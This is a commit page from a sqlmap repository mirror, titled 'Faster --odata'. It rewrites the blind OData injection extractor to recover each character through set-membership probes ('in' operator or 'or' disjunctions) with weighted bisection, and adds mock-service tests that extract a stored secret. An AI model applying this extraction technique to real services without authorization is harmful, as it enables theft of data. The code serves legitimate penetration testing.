sqlmapproject/sqlmap
1
0
Fork 0
mirror of https://github.com/sqlmapproject/sqlmap.git synced 2026-10-11 22:19:55 +00:00
Code Issues Packages Projects Releases Wiki Activity

Faster --odata

Browse Source
This commit is contained in:
Miroslav Štampar
2026-08-11 22:43:40 +02:00
parent d6370a681b
commit 08b986d40c
3 changed files with 167 additions and 17 deletions
Download Patch File Download Diff File Expand all files Collapse all files
lib/core/settings.py
+8 -2
View File
@@ -20,7 +20,7 @@ from lib.core.enums import OS
from thirdparty import six
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
VERSION = "1.10.8.23"
VERSION = "1.10.8.24"
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
@@ -1496,10 +1496,16 @@ ODATA_ERROR_SIGNATURES = (
ODATA_ERROR_REGEX = r"(?i)(?:%s)" % '|'.join(regex for _, regex in ODATA_ERROR_SIGNATURES)
# Printable-ASCII codepoint bounds for the (lexicographic, binary-search) OData blind character scan
# Printable-ASCII codepoint bounds for the OData blind character scan
ODATA_CHAR_MIN = 0x20
ODATA_CHAR_MAX = 0x7e
# Candidate characters per set-membership probe on a service without the v4.01 'in' operator, where a
# set has to be spelled as a disjunction of equalities. Each term costs the parser ~8 of the 100 nodes
# ASP.NET Core OData allows by default (MaxNodeCount), measured to reject at 11 terms - so this leaves
# headroom for a longer key/property name in the same filter
ODATA_CHARSET_BLOCK = 8
ODATA_MAX_LENGTH = 256 # a single property value
ODATA_MAX_RECORDS = 20 # entities blind-dumped
ODATA_MAX_KEY = 100000 # upper bound when bisecting for the lowest existing numeric key
lib/techniques/odata/inject.py
+77 -15
View File
@@ -44,8 +44,10 @@ from lib.utils.nonsql import blockedStatus
from lib.utils.nonsql import ratio as _ratio
from lib.utils.nonsql import userDecision
from lib.utils.nonsql import userOracleActive
from lib.core.settings import HUFFMAN_PRIOR_WEIGHTS
from lib.core.settings import ODATA_CHAR_MAX
from lib.core.settings import ODATA_CHAR_MIN
from lib.core.settings import ODATA_CHARSET_BLOCK
from lib.core.settings import ODATA_COMMON_FIELDS
from lib.core.settings import ODATA_ERROR_REGEX
from lib.core.settings import ODATA_ERROR_SIGNATURES
@@ -78,13 +80,14 @@ _BOUNDARY_TABLE = (
)
# Charset for blind character recovery.
# NOTE recovery uses EXACT equality (substring(...) eq 'c'), not a '>=' bisection: .NET / OData string
# NOTE recovery uses EXACT equality (substring(...) eq 'c'), never a '>=' bisection: .NET / OData string
# relational comparison is culture-aware and case-folding ('l' and 'L' compare equal), which scrambles a
# lexicographic bisection, whereas eq is ordinal and exact. So the set is ordered by real-world frequency
# to keep the linear scan short on typical data rather than by codepoint. Because the scan is exact
# rather than positional, the order is free and a missing codepoint only costs coverage - it cannot
# alias onto a neighbour the way a bisection hole does. Nothing is excluded: the one character OData
# cannot carry raw inside a literal, the single quote, is doubled per the spec instead of dropped.
# lexicographic bisection, whereas eq is ordinal and exact. Bisection is recovered WITHOUT ordering by
# asking about a whole candidate set per request (see _memberOf), so the set is ordered by real-world
# frequency - a common character is settled inside the first block. Because the probe is exact rather
# than positional, the order is free and a missing codepoint only costs coverage - it cannot alias onto
# a neighbour the way a bisection hole does. Nothing is excluded: the one character OData cannot carry
# raw inside a literal, the single quote, is doubled per the spec instead of dropped.
_FREQ = (tuple(xrange(ord('a'), ord('z') + 1)) + tuple(xrange(ord('A'), ord('Z') + 1)) +
tuple(xrange(ord('0'), ord('9') + 1)) + tuple(ord(_) for _ in " @._-+:/!#$%&*=?"))
_CS_ORDS = []
@@ -95,6 +98,24 @@ for _o in xrange(ODATA_CHAR_MIN, ODATA_CHAR_MAX + 1):
if _o not in _CS_ORDS:
_CS_ORDS.append(_o)
# ...and weighted by the same shipped character prior blind SQL retrieval banks on, so a set is split
# at its cumulative-WEIGHT midpoint rather than its midpoint by count. That puts the likely characters
# nearer the root of the decision tree, which is what beats a uniform bisection's flat log2(charset).
_CS_WEIGHTS = dict((_o, HUFFMAN_PRIOR_WEIGHTS.get(_o, 1)) for _o in _CS_ORDS)
_CS_ORDS.sort(key=lambda _o: -_CS_WEIGHTS[_o])
def _splitPoint(candidates):
"""Where to cut `candidates` so that either answer is about equally likely (never degenerate)."""
half = sum(_CS_WEIGHTS[_] for _ in candidates) / 2.0
running = 0
for index, ordinal in enumerate(candidates):
running += _CS_WEIGHTS[ordinal]
if running >= half:
return min(index + 1, len(candidates) - 1)
return len(candidates) - 1
def _literal(ordinal):
"""One codepoint as a single-quoted OData string literal (an inner quote is doubled, not escaped)."""
@@ -399,13 +420,38 @@ def _findKeyAndEntities(place, parameter, boundary, emptyPage, errorSurface=True
return None, []
def _inferField(oracle, key, keyValue, field, maxLen=ODATA_MAX_LENGTH):
def _memberOf(oracle, pin, field, pos, ordinals, useIn):
"""One request asking whether the character at `pos` is ANY of `ordinals`."""
substring = "substring(%s,%d,1)" % (field, pos)
if useIn:
return oracle("(%s%s in (%s))" % (pin, substring, ",".join(_literal(_) for _ in ordinals)))
return oracle("(%s(%s))" % (pin, " or ".join("%s eq %s" % (substring, _literal(_)) for _ in ordinals)))
def _supportsIn(oracle, pin):
"""Whether the service speaks the v4.01 `in` operator, settled by a differential so one that merely
tolerates the syntax cannot fake it. Both spellings ask the identical question, but `in` costs the
parser a SINGLE node against ~8 per candidate for the disjunction, and the ceiling is real: ASP.NET
Core OData allows 100 nodes by default (MaxNodeCount) and was measured rejecting an 11-term
disjunction outright. So `in`, where offered, buys headroom on a service configured stricter than
the default rather than a bigger question."""
try:
return oracle("(%s'a' in ('a','b'))" % pin) and not oracle("(%s'a' in ('b','c'))" % pin)
except InconclusiveError:
return False
def _inferField(oracle, key, keyValue, field, maxLen=ODATA_MAX_LENGTH, useIn=None):
"""Blindly recover one string property of the entity pinned by key==keyValue: length by binary
search, then each character by bisecting its index in the codepoint-ordered charset. OData substring()
is 0-indexed, so character `pos` (1-based) is substring(field,pos-1,1)."""
search, then each character by set-membership bisection. OData substring() is 0-indexed, so
character `pos` (1-based) is substring(field,pos-1,1)."""
pin = "%s eq %d and " % (key, keyValue)
try:
if useIn is None:
useIn = _supportsIn(oracle, pin)
if not oracle("(%slength(%s) ge 1)" % (pin, field)):
return ""
lo, hi = 1, maxLen
@@ -419,12 +465,22 @@ def _inferField(oracle, key, keyValue, field, maxLen=ODATA_MAX_LENGTH):
chars = []
for pos in xrange(length):
# exact-match linear scan (eq is ordinal); frequency order keeps it short on typical values
# A whole candidate set is asked about in ONE request, so a probe halves the space just as
# a relational bisection would - without ever leaving `eq`, the only comparison .NET does
# not case-fold. The weight-ordered blocks are tried in turn, so a likely character is
# settled by the first of them and never pays for the rest of the charset.
recovered = "?"
for ordinal in _CS_ORDS:
if oracle("(%ssubstring(%s,%d,1) eq %s)" % (pin, field, pos, _literal(ordinal))):
recovered = chr(ordinal)
break
for start in xrange(0, len(_CS_ORDS), ODATA_CHARSET_BLOCK):
candidates = _CS_ORDS[start:start + ODATA_CHARSET_BLOCK]
if not _memberOf(oracle, pin, field, pos, candidates, useIn):
continue
while len(candidates) > 1:
# membership in `candidates` is established, so the untested side is implied
cut = _splitPoint(candidates)
candidates = (candidates[:cut] if _memberOf(oracle, pin, field, pos, candidates[:cut], useIn)
else candidates[cut:])
recovered = chr(candidates[0])
break
chars.append(recovered)
except InconclusiveError:
logger.warning("OData extraction aborted for '%s' (oracle inconclusive after retries)" % field)
@@ -482,13 +538,19 @@ def _dumpEntities(place, parameter, boundary, emptyPage):
% (key, len(keys), "y" if len(keys) == 1 else "ies", ", ".join(fields)))
rows = []
useIn = None
for value in keys:
oracle = _makeOracle(place, parameter, boundary, truePredicate="(%s eq %d)" % (key, value))
if oracle is None:
continue
if useIn is None:
# a property of the service, not of the entity, so it is settled once for the whole dump
useIn = _supportsIn(oracle, "%s eq %d and " % (key, value))
logger.debug("service %s the 'in' operator, so one probe covers %d candidate character(s)"
% ("speaks" if useIn else "does not speak", len(_CS_ORDS) if useIn else ODATA_CHARSET_BLOCK))
row = [str(value)]
for field in fields[1:]:
recovered = _inferField(oracle, key, value, field)
recovered = _inferField(oracle, key, value, field, useIn=useIn)
row.append("?" if recovered is None else recovered)
rows.append(row)
tests/test_odata.py
+82
View File
@@ -20,6 +20,7 @@ from _testutils import bootstrap
bootstrap()
import lib.techniques.odata.inject as odata
from lib.core.settings import ODATA_CHARSET_BLOCK
from lib.core.settings import ODATA_ERROR_REGEX
_ENTITIES = (
@@ -339,5 +340,86 @@ class TestDetectionAndExtraction(unittest.TestCase):
self.assertIsNone(template)
_LITERAL = r"'(?:[^']|'')*'"
_IN_REGEX = re.compile(r"(?P<lhs>substring\(\w+,\d+,1\)|%s) in \((?P<items>%s(?:,%s)*)\)"
% (_LITERAL, _LITERAL, _LITERAL))
def _expandIn(expr):
"""Rewrite a v4.01 "X in (a,b,c)" into the equivalent v4.0 disjunction - all the mock parser needs
in order to model a service that offers the operator, without teaching _atom() a second syntax."""
def expand(match):
lhs = match.group("lhs")
return "(%s)" % " or ".join("%s eq %s" % (lhs, _) for _ in re.findall(_LITERAL, match.group("items")))
return _IN_REGEX.sub(expand, expr)
def _mockSendIn(place, parameter, value, raw=False):
"""A v4.01 service: identical semantics, but it also parses the 'in' operator."""
return _mockSend(place, parameter, _expandIn(value), raw)
class TestSetMembershipRecovery(unittest.TestCase):
"""Character recovery asks about a whole candidate SET per request. .NET string comparison is
culture-aware and case-folding, so a lexicographic bisection is unusable - but set membership needs
no ordering and halves the space just the same. This pins the cost: the linear scan this replaced
spent one request per candidate, up to the whole charset for a single character."""
def setUp(self):
self.saved, self.savedParams = odata._send, odata.conf.parameters
odata.conf.parameters = {odata.PLACE.GET: "name=luther"}
odata.SENTINEL = "zzsentinelzz"
self.sent = []
def tearDown(self):
odata._send, odata.conf.parameters = self.saved, self.savedParams
def _extract(self, service, field="Secret"):
def counting(place, parameter, value, raw=False):
self.sent.append(value)
return service(place, parameter, value, raw)
odata._send = counting
_t, _p, boundary = odata._detectBoolean(odata.PLACE.GET, "name")
oracle = odata._makeOracle(odata.PLACE.GET, "name", boundary, truePredicate="(Id eq 1)")
self.assertIsNotNone(oracle)
before = len(self.sent)
return odata._inferField(oracle, "Id", 1, field), len(self.sent) - before
def test_v40_service_extracts_under_a_linear_scan(self):
value, cost = self._extract(_mockSend)
self.assertEqual(value, "S3CR3Tvalue")
self.assertLess(cost, len(value) * len(odata._CS_ORDS))
def test_v401_service_extracts_the_same_value(self):
value, cost = self._extract(_mockSendIn)
self.assertEqual(value, "S3CR3Tvalue")
self.assertLess(cost, len(value) * len(odata._CS_ORDS))
def test_in_encoding_is_used_only_when_offered(self):
self._extract(_mockSendIn)
self.assertTrue(any(" in (" in _ for _ in self.sent))
self.sent = []
self._extract(_mockSend)
self.assertFalse(any("substring(Secret,0,1) in (" in _ for _ in self.sent))
def test_disjunction_stays_inside_the_node_budget(self):
"""Every 'or' term costs the service's parser ~8 of the 100 nodes ASP.NET Core OData allows by
default (MaxNodeCount); an 11-term disjunction was measured being rejected outright."""
self._extract(_mockSend)
for value in self.sent:
self.assertLessEqual(value.count("substring("), ODATA_CHARSET_BLOCK)
def test_split_point_never_degenerates(self):
"""A cut of 0 or of len(candidates) would leave the set unchanged and loop forever."""
for size in range(2, len(odata._CS_ORDS) + 1):
cut = odata._splitPoint(odata._CS_ORDS[:size])
self.assertTrue(0 < cut < size, "size %d cut %d" % (size, cut))
if __name__ == "__main__":
unittest.main(verbosity=2)